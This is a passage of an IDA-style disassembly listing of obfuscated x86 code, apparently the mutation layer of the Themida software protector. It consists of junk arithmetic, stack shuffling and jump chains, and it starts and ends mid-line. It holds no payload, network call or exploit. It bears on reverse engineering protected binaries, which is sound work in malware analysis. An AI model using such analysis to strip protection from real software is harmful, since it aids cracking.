mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+0Ch+var_C] pop esp sub ch, 1Ch jmp loc_570E02 ; END OF FUNCTION CHUNK FOR sub_5754DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5638E4 loc_56D973: ; CODE XREF: sub_5638E4+C07Fj mov [esp+10h+var_10], esi push 21821155h pop esi xor esi, 641C5CCCh jmp loc_570693 ; END OF FUNCTION CHUNK FOR sub_5638E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570FB7 loc_56D987: ; CODE XREF: sub_570FB7-342Fj xor edi, eax xor eax, edi push 681Ch mov [esp+0], ebx mov ebx, 66C870AAh xor eax, ebx mov ebx, [esp+0] add esp, 4 push 4164h jmp loc_56C458 ; END OF FUNCTION CHUNK FOR sub_570FB7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_56D9AA: ; CODE XREF: sub_5685B2+8C9Dj sub [esp+0Ch+var_C], 777A2533h sub [esp+0Ch+var_C], ebp push ebx mov ebx, 777A2533h add [esp+10h+var_C], ebx jmp loc_5601B0 ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566117 loc_56D9C3: ; CODE XREF: sub_566117-4D53j add ebx, ecx jmp loc_572650 ; END OF FUNCTION CHUNK FOR sub_566117 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568E5C loc_56D9CA: ; CODE XREF: sub_568E5C+32CCj pop ecx sub ebx, 4473277Fh add ebx, 737B06FDh sub ebx, 7D890A8Ch add ebx, eax add ebx, 7D890A8Ch sub ebx, 737B06FDh add ebx, 4473277Fh sub ebx, 48FA110Eh jmp sub_57236D ; END OF FUNCTION CHUNK FOR sub_568E5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567B29 loc_56D9FC: ; CODE XREF: sub_567B29-6F9j mov edx, esp add edx, 4 jmp loc_56FDBF ; END OF FUNCTION CHUNK FOR sub_567B29 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DBD1 loc_56DA09: ; CODE XREF: sub_56DBD1-B835j add dword ptr [esp+0], 722776FCh jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56DBD1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574949 loc_56DA15: ; CODE XREF: sub_574949-6BE1j xchg ebx, esi jmp loc_56101D ; END OF FUNCTION CHUNK FOR sub_574949 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A608 loc_56DA1C: ; CODE XREF: sub_56A608+46FEj sub esi, edx pop edx or ecx, esi pop esi jmp loc_571A59 ; END OF FUNCTION CHUNK FOR sub_56A608 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CD13 loc_56DA27: ; CODE XREF: sub_56CD13-BB3Cj sub ecx, ebp push 40Ch mov [esp+14h+var_14], edx jmp loc_57018D ; END OF FUNCTION CHUNK FOR sub_56CD13 ; =============== S U B R O U T I N E ======================================= sub_56DA36 proc near ; CODE XREF: sub_560137+1274j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00560BB1 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00569BDA SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005713FC SIZE 0000000C BYTES push ebp mov ebp, 68873CA9h neg ebp jmp loc_569BDA sub_56DA36 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_56DA43 proc near ; CODE XREF: sub_562ED9+FD31j var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00560024 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005608F6 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00560E35 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056173F SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00562E5C SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0056505A SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00566180 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005688E7 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00569FC0 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056DD0A SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056E3BF SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0056F858 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056FF9F SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00570AF0 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00571E0D SIZE 00000037 BYTES ; FUNCTION CHUNK AT 0057218C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00572B04 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00572F73 SIZE 00000015 BYTES sub esp, 4 mov [esp+4+var_4], ebp push ecx push edi mov edi, 0A5255B6h shl edi, 2 or edi, 7ED547A9h neg edi add edi, 9D40BD51h mov ecx, edi mov edi, [esp+0Ch+var_C] add esp, 4 not ecx jmp loc_56FF9F sub_56DA43 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568F83 loc_56DA73: ; CODE XREF: sub_568F83+A831j mov esp, [esp+4+var_4] add word ptr [esp+4+var_4], ax pushf jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_568F83 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57236D loc_56DA80: ; CODE XREF: sub_57236D-20EAj mov [esp+4+var_4], eax push edi mov edi, 4 push edi pop eax pop edi add ecx, eax pop eax xor ecx, [esp+0] jmp loc_561B9C ; END OF FUNCTION CHUNK FOR sub_57236D ; --------------------------------------------------------------------------- loc_56DA97: ; CODE XREF: Themida_:0056A202j pop edx jmp loc_56A66E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D359 loc_56DA9D: ; CODE XREF: sub_56D359+5612j add ecx, eax pop eax xchg ecx, [esp+8+var_8] pop esp jmp loc_569670 ; END OF FUNCTION CHUNK FOR sub_56D359 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56651E loc_56DAA9: ; CODE XREF: sub_56651E+62CEj mov [esp+0], edx push ebp jmp loc_56F22B ; END OF FUNCTION CHUNK FOR sub_56651E ; =============== S U B R O U T I N E ======================================= sub_56DAB2 proc near ; CODE XREF: sub_566400-3C11j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00564051 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00566596 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00567272 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0057126A SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00573055 SIZE 00000052 BYTES ; FUNCTION CHUNK AT 0057401B SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00575205 SIZE 0000000B BYTES push ebp sub esp, 4 mov [esp+8+var_8], edi mov edi, 3757244Fh mov ebp, edi jmp loc_575205 sub_56DAB2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572641 loc_56DAC8: ; CODE XREF: sub_572641-1116Cj sub al, 0Fh sub esp, 4 mov [esp+4+var_4], ebx mov bl, 18h sub esp, 2 mov word ptr [esp+8+var_8], dx push ebx mov bl, 4 mov dl, bl pop ebx add bl, dl mov dx, word ptr [esp+8+var_8] add esp, 2 jmp loc_5658A3 ; END OF FUNCTION CHUNK FOR sub_572641 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565632 loc_56DAF0: ; CODE XREF: sub_565632+1AC1j add esp, 4 sub esp, 4 mov [esp+4+var_4], edi mov ebp, [esp+4+var_4] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+8+var_8] pop esp mov edi, [esp+4+var_4] add esp, 4 jmp loc_571CC7 ; END OF FUNCTION CHUNK FOR sub_565632 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574A21 loc_56DB1A: ; CODE XREF: sub_574A21-B7D5j or edx, 316D0658h dec edx xor edx, 463943E6h xor edx, 7F446CBFh jmp loc_569280 ; END OF FUNCTION CHUNK FOR sub_574A21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BD44 loc_56DB32: ; CODE XREF: sub_56BD44-494Ej sub ecx, 0F3C52C3Ah mov edx, ecx pop ecx or edx, 1C831AC8h jmp loc_5684FC ; END OF FUNCTION CHUNK FOR sub_56BD44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5680F2 loc_56DB46: ; CODE XREF: sub_5680F2+A1B9j mov [esp+0Ch+var_C], ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] push 6395h mov [esp-4+arg_0], ecx push 306h jmp loc_564441 ; END OF FUNCTION CHUNK FOR sub_5680F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569FB8 loc_56DB6F: ; CODE XREF: sub_569FB8+635Ej mov dh, ch mov ah, dh mov edx, [esp+0Eh+var_E] push edi mov edi, esp jmp loc_56AF14 ; END OF FUNCTION CHUNK FOR sub_569FB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570FB7 loc_56DB7E: ; CODE XREF: sub_570FB7-1AADj add eax, 571C772Ah xchg eax, edi not edi xor eax, edi jmp loc_56D987 ; END OF FUNCTION CHUNK FOR sub_570FB7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574FC9 loc_56DB8D: ; CODE XREF: sub_574FC9-1406Fj pop [esp+8+var_8] mov esp, [esp+4+var_4] mov ax, [esp+0] push eax jmp loc_56D1B6 ; END OF FUNCTION CHUNK FOR sub_574FC9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574CDD loc_56DB9D: ; CODE XREF: sub_574CDD-1084j push 7085h mov [esp+4+var_4], edx push edi mov edi, 0D00517Fh jmp loc_563897 ; END OF FUNCTION CHUNK FOR sub_574CDD ; =============== S U B R O U T I N E ======================================= sub_56DBB0 proc near ; CODE XREF: sub_564EBE+304Cj ; FUNCTION CHUNK AT 005615B7 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056C7B1 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0056CCC0 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0056FE4D SIZE 00000012 BYTES push ebp mov ebp, 0D61DD54Eh xor ecx, ebp pop ebp add edx, ecx mov ecx, [esp+0] jmp loc_5615B7 sub_56DBB0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EE9F loc_56DBC3: ; CODE XREF: sub_56EE9F-219Fj xor ebx, 5889556Eh mov eax, ebx pop ebx jmp loc_571597 ; END OF FUNCTION CHUNK FOR sub_56EE9F ; =============== S U B R O U T I N E ======================================= sub_56DBD1 proc near ; CODE XREF: sub_570E81-38FDj var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00562388 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0056B644 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056DA09 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00571415 SIZE 00000019 BYTES sub esp, 4 mov [esp+4+var_4], eax mov eax, 68A60D4h add [esp+4+arg_0], eax jmp loc_56B644 sub_56DBD1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F3B2 loc_56DBE5: ; CODE XREF: sub_56F3B2-A1BDj pop esp shl dword ptr [esp+0], cl pushf jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56F3B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561541 loc_56DBEF: ; CODE XREF: sub_561541+772Fj push eax push ebx mov ebx, 44485FFBh mov eax, ebx pop ebx xor ecx, eax mov eax, [esp+8+var_8] add esp, 4 push 6A7Bh mov [esp+8+var_8], esi mov esi, 658E587Ch not esi jmp loc_567806 ; END OF FUNCTION CHUNK FOR sub_561541 ; --------------------------------------------------------------------------- loc_56DC15: ; CODE XREF: Themida_:00563296j add eax, 4 xor eax, [esp] jmp loc_56C8E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569A75 loc_56DC20: ; CODE XREF: sub_569A75+Aj mov cl, 8Dh jmp loc_56105E ; END OF FUNCTION CHUNK FOR sub_569A75 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B06D loc_56DC27: ; CODE XREF: sub_56B06D-58j sub ecx, 192C4019h add ecx, eax add ecx, 192C4019h add ecx, 64EF5701h jmp loc_565000 ; END OF FUNCTION CHUNK FOR sub_56B06D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_56DC40: ; CODE XREF: sub_561418+7BFEj add ecx, 0AFE81DD8h add esi, ecx pop ecx xchg esi, [esp+10h+var_10] pop esp push esi jmp loc_56C208 ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571F6F loc_56DC53: ; CODE XREF: sub_571F6F-BD09j add esi, 4 add esi, 4 xchg esi, [esp+14h+var_14] jmp loc_5625EE ; END OF FUNCTION CHUNK FOR sub_571F6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565849 loc_56DC64: ; CODE XREF: sub_565849+6j inc ebx neg ebx shr ebx, 4 push edx mov edx, 950ECA1Eh jmp loc_5655F9 ; END OF FUNCTION CHUNK FOR sub_565849 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_56DC75: ; CODE XREF: sub_564D26+FDF6j pop edi pop ecx push ecx mov ecx, 4 add ebp, 49A66314h sub ebp, ecx sub ebp, 49A66314h pop ecx xchg ebp, [esp+8+var_8] pop esp mov [esp+4+var_4], ebx mov ebx, 80h and ecx, ebx push [esp+4+var_4] jmp loc_560074 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5750DE loc_56DCA2: ; CODE XREF: sub_5750DE-F174j push 59D24C86h pop edx jmp sub_56331C ; END OF FUNCTION CHUNK FOR sub_5750DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E126 loc_56DCAD: ; CODE XREF: sub_56E126+132Bj or esi, 1506244Eh xor esi, 3DCA501Ch jmp loc_564F7E ; END OF FUNCTION CHUNK FOR sub_56E126 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B06D loc_56DCBE: ; CODE XREF: sub_56B06D-6ECEj add [esp+8+var_4], esi pop esi mov ebp, [esp+4+var_4] add esp, 4 push 2929h mov [esp+4+var_4], edi push eax jmp loc_56EBE0 ; END OF FUNCTION CHUNK FOR sub_56B06D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FD97 loc_56DCDA: ; CODE XREF: sub_56FD97-9F77j push [esp+4+var_4] pop ebx add esp, 4 push 3EECh mov [esp+4+var_4], ebp mov ebp, 27F16224h jmp loc_565E03 ; END OF FUNCTION CHUNK FOR sub_56FD97 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57377E loc_56DCF3: ; CODE XREF: sub_57377E-125B5j add edi, 4 sub edi, 4 xchg edi, [esp+4+var_4] mov esp, [esp+4+var_4] jmp loc_56357B ; END OF FUNCTION CHUNK FOR sub_57377E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DA43 loc_56DD0A: ; CODE XREF: sub_56DA43-3A7Bj add esp, 4 shl ebp, 8 xor ebp, 37670B5Ch jmp loc_572F73 ; END OF FUNCTION CHUNK FOR sub_56DA43 ; --------------------------------------------------------------------------- loc_56DD1B: ; CODE XREF: Themida_:0057048Aj push 41491402h pop ebp push ecx mov ecx, 2DAF1A3Fh add ecx, 0F3B7F141h sub ebp, ecx jmp loc_57406A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566117 loc_56DD34: ; CODE XREF: sub_566117+6BF7j mov [esp+4+var_4], ebp mov ebp, esp push ebx push edi push ebx mov ebx, 29D85C7Bh mov edi, ebx pop ebx mov ebx, 0D627A389h sub ebx, 425402B3h jmp loc_566A74 ; END OF FUNCTION CHUNK FOR sub_566117 ; =============== S U B R O U T I N E ======================================= sub_56DD54 proc near ; CODE XREF: sub_5753A5-DC40j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 00561B70 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00565202 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005658F4 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056850A SIZE 0000002D BYTES ; FUNCTION CHUNK AT 0056C378 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0056F40B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00570D58 SIZE 00000028 BYTES push ebp mov ebp, 1B3D5BC9h jmp loc_56F40B sub_56DD54 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574949 loc_56DD5F: ; CODE XREF: sub_574949-EB97j not eax xchg eax, esi xor esi, 75C30254h jmp loc_56DA15 ; END OF FUNCTION CHUNK FOR sub_574949 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB5E loc_56DD6D: ; CODE XREF: sub_56AB5E+2CC0j pop eax jmp loc_57230B ; END OF FUNCTION CHUNK FOR sub_56AB5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FD38 loc_56DD73: ; CODE XREF: sub_56FD38-FB20j mov eax, esp push edi mov edi, esp add edi, 4 jmp loc_56F968 ; END OF FUNCTION CHUNK FOR sub_56FD38 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569FB8 loc_56DD83: ; CODE XREF: sub_569FB8+6E45j xor cl, 6 add cl, 25h sub cl, 5Dh mov dl, cl pop ecx jmp loc_56E03F ; END OF FUNCTION CHUNK FOR sub_569FB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566117 loc_56DD94: ; CODE XREF: sub_566117+9j mov eax, [esp+0Ch+var_C] add esp, 4 push ebx jmp loc_569112 ; END OF FUNCTION CHUNK FOR sub_566117 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565632 loc_56DDA3: ; CODE XREF: sub_565632+26B1j xor ecx, 64C72987h jmp loc_570865 ; END OF FUNCTION CHUNK FOR sub_565632 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_56DDAE: ; CODE XREF: sub_563A7F+1FBj add ecx, edx add ecx, 6C272A13h pop edx sub ecx, 0FFFFFFFFh xor ecx, 545F4284h jmp loc_56F851 ; END OF FUNCTION CHUNK FOR sub_563A7F ; =============== S U B R O U T I N E ======================================= sub_56DDC5 proc near ; DATA XREF: Themida_:0055FE58o arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0056B6A0 SIZE 00000005 BYTES push dword ptr [edi+1Ch] popf pop eax adc [esp-4+arg_0], eax pushf jmp loc_56B6A0 sub_56DDC5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565A8D loc_56DDD3: ; CODE XREF: sub_565A8D+Ej push ecx mov ecx, 4 add [esp+0Ch+var_8], ecx pop ecx pop ebx add ebx, 4 push ecx jmp loc_5699DA ; END OF FUNCTION CHUNK FOR sub_565A8D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570732 loc_56DDEB: ; CODE XREF: sub_570732-AB4j sub edi, 0A011B68h add edi, ecx add edi, 0A011B68h jmp loc_5638BF ; END OF FUNCTION CHUNK FOR sub_570732 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560EA2 loc_56DDFE: ; CODE XREF: sub_560EA2+B073j push esi mov esi, 7B1216A7h xor ebx, esi jmp loc_5655C1 ; END OF FUNCTION CHUNK FOR sub_560EA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574CDD loc_56DE0B: ; CODE XREF: sub_574CDD-56E3j mov ebx, 4 add ecx, ebx pop ebx push 3417h mov [esp+0], esi mov esi, 1DDC30E9h jmp loc_567924 ; END OF FUNCTION CHUNK FOR sub_574CDD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564BC5 loc_56DE25: ; CODE XREF: sub_564BC5-10CAj add eax, 57D9123Dh push edi mov edi, eax mov edx, edi jmp loc_5646A6 ; END OF FUNCTION CHUNK FOR sub_564BC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_56DE34: ; CODE XREF: sub_564D26-4C74j pop edx add esp, 4 push ebx push esp pop ebx push ecx jmp loc_560576 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- loc_56DE44: ; CODE XREF: Themida_:00566A3Cj add edx, 3ADF2B90h push eax mov eax, 1BED3AB8h sub edx, eax pop eax jmp loc_561754 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_56DE58: ; CODE XREF: sub_574304-CD0Ej mov edx, 1D922FA7h inc edx dec edx jmp loc_56551F ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568646 loc_56DE64: ; CODE XREF: sub_568646+66F4j push ecx push eax jmp loc_56E0D6 ; END OF FUNCTION CHUNK FOR sub_568646 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574F16 loc_56DE6B: ; CODE XREF: sub_574F16-AD1Cj add edx, 4 add edx, 2 xchg edx, [esp+6+var_6] jmp loc_568E37 ; END OF FUNCTION CHUNK FOR sub_574F16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563207 loc_56DE7F: ; CODE XREF: sub_563207-1610j pop ebx add esi, 4 xchg esi, [esp+0Ch+var_C] pop esp push 1A06h jmp loc_571F38 ; END OF FUNCTION CHUNK FOR sub_563207 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571F6F loc_56DE94: ; CODE XREF: sub_571F6F-1118Dj mov ch, dh mov edx, [esp+0Ch+var_E+2] add esp, 4 push edx jmp loc_567EAC ; END OF FUNCTION CHUNK FOR sub_571F6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A608 loc_56DEA2: ; CODE XREF: sub_56A608-42B2j or eax, 50321B31h shl eax, 6 or eax, 1E9A6020h inc eax add eax, 733ABCC5h add ecx, eax pop eax add ebx, ecx pop ecx push esi mov esi, 479C20BCh jmp loc_56C00E ; END OF FUNCTION CHUNK FOR sub_56A608 ; =============== S U B R O U T I N E ======================================= sub_56DEC6 proc near ; DATA XREF: Themida_:0055FE3Co push dword ptr [edi+1Ch] popf pop ax sbb [esp+0], al pushf jmp loc_55FF9F sub_56DEC6 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567866 loc_56DED5: ; CODE XREF: sub_567866-1C7Fj push edi mov edi, esp jmp loc_56276F ; END OF FUNCTION CHUNK FOR sub_567866 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574CDD loc_56DEDD: ; CODE XREF: sub_574CDD-6182j sub esi, 4A95705Ah add esi, 4291405Eh push edi mov edi, 2EEB1A0Eh neg edi inc edi push ebp mov ebp, 94D68E7Bh add edi, ebp pop ebp sub ecx, edi mov edi, [esp+4+var_4] push edx jmp loc_56BDC5 ; END OF FUNCTION CHUNK FOR sub_574CDD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570B3C loc_56DF06: ; CODE XREF: sub_570B3C-7A9Ej mov [esp+0], eax mov eax, 5E675F99h add ebx, eax pop eax jmp loc_56974A ; END OF FUNCTION CHUNK FOR sub_570B3C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568764 loc_56DF16: ; CODE XREF: sub_568764+B2A3j add ecx, 13105F79h pop edx mov esi, [esp+4+var_4] add esp, 4 add ecx, 2 xor ecx, [esp+0] xor [esp+0], ecx xor ecx, [esp+0] jmp loc_57426F ; END OF FUNCTION CHUNK FOR sub_568764 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569A84 loc_56DF37: ; CODE XREF: sub_569A84-14Bj push eax mov eax, 4B440A4Bh push ecx jmp loc_56A298 ; END OF FUNCTION CHUNK FOR sub_569A84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F3B2 loc_56DF43: ; CODE XREF: sub_56F3B2-C776j add edi, 4 xchg edi, [esp+8+var_8] pop esp push esi push ecx push 710566CCh jmp loc_56E88D ; END OF FUNCTION CHUNK FOR sub_56F3B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564BC5 loc_56DF59: ; CODE XREF: sub_564BC5+5BE3j push edx sub esp, 4 jmp loc_571FAD ; END OF FUNCTION CHUNK FOR sub_564BC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EFD2 loc_56DF65: ; CODE XREF: sub_56EFD2+6j add [esp+4+var_4], 4 pop edi push 6317h jmp loc_564DC5 ; END OF FUNCTION CHUNK FOR sub_56EFD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569AB3 loc_56DF77: ; CODE XREF: sub_569AB3-3236j push esi mov esi, esp jmp loc_5621FD ; END OF FUNCTION CHUNK FOR sub_569AB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563819 loc_56DF7F: ; CODE XREF: sub_563819+D4A7j mov [esp-8+arg_4], ecx mov ecx, 0 add ecx, edx push 2C70h mov [esp-4+arg_0], edx mov edx, 0 add edx, ecx add eax, [edx] pop edx pop ecx push [esp-0Ch+arg_8] jmp loc_5630B5 ; END OF FUNCTION CHUNK FOR sub_563819 ; --------------------------------------------------------------------------- loc_56DFA4: ; CODE XREF: Themida_:0056862Bj pop esp jmp loc_570E9D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_573167 loc_56DFAA: ; CODE XREF: sub_573167-DF25j pop esi sub esi, 5DAF43E9h pop eax mov edx, [esp+8+var_8] add esp, 4 add ebx, esi mov esi, [esp+4+var_4] add esp, 4 add ebx, 4 push 11CCh mov [esp+4+var_4], ebx jmp loc_565358 ; END OF FUNCTION CHUNK FOR sub_573167 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_56DFD3: ; CODE XREF: sub_563A7F+23EDj or ebp, 0F7032F0h add ebp, 735C604Dh add ebp, 7D2C60BAh add ebx, ebp pop ebp add ebx, 4 xor ebx, [esp+0Eh+var_10+2] xor [esp+0Eh+var_10+2], ebx xor ebx, [esp+0Eh+var_10+2] jmp loc_563C6D ; END OF FUNCTION CHUNK FOR sub_563A7F ; =============== S U B R O U T I N E ======================================= sub_56DFF9 proc near ; DATA XREF: Themida_:0055FDE0o var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00564478 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00564699 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056FDD9 SIZE 0000000B BYTES mov ax, [esp+0] push 5701h mov [esp+4+var_4], edx push 3374h mov [esp+8+var_8], esp add [esp+8+var_8], 4 pop edx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp+8+var_8] jmp loc_56FDD9 sub_56DFF9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568E5C loc_56E02C: ; CODE XREF: sub_568E5C+632Ej mov [esp+0], ebp push edx push 0F3C2483h pop edx neg edx not edx jmp loc_56D50D ; END OF FUNCTION CHUNK FOR sub_568E5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569FB8 loc_56E03F: ; CODE XREF: sub_569FB8+3DD7j add al, dl mov edx, [esp+6+var_6] jmp loc_56C180 ; END OF FUNCTION CHUNK FOR sub_569FB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560276 loc_56E049: ; CODE XREF: sub_560276+2F7Dj mov edi, 0FFFFFFFFh sub edx, edi pop edi add edx, 3B5438EDh jmp sub_57377E ; END OF FUNCTION CHUNK FOR sub_560276 ; =============== S U B R O U T I N E ======================================= sub_56E05C proc near ; CODE XREF: sub_56592A+4j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056087B SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00562151 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056343E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00563945 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00564E72 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00565271 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056729E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056A6EB SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056C975 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005740AC SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005754CD SIZE 0000000D 